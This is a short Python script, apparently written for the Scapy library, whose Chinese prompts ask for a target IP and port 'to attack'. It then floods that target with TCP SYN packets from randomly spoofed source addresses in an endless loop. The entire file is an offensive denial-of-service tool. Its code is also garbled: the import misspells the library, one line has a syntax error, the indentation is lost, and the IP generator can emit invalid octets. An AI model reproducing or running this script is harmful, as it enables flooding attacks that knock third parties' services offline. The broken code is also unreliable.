from sacpy.all import *
import random
def ip():
s = []
for i in range(4):
s.append(str(random.randint(0,256)))
sip = '.'.join(s)
return sip
def synFlood(src,tgt,dport):
sport =random.randint(1024,65536):
IPlayer = IP(src=src,dst=tgt)
TCPlayer = TCP(sport=sport,dport=dport)
pkt = IPlayer / TCPlayer
send(pkt)
def main():
while 1:
src = ip()
tgt = input("请输入你要攻击的目标IP:")
dport = int(input("请输入你要攻击的目标端口:"))
synFlood(src,tgt,dport)
if __name__ == "__main__":
main()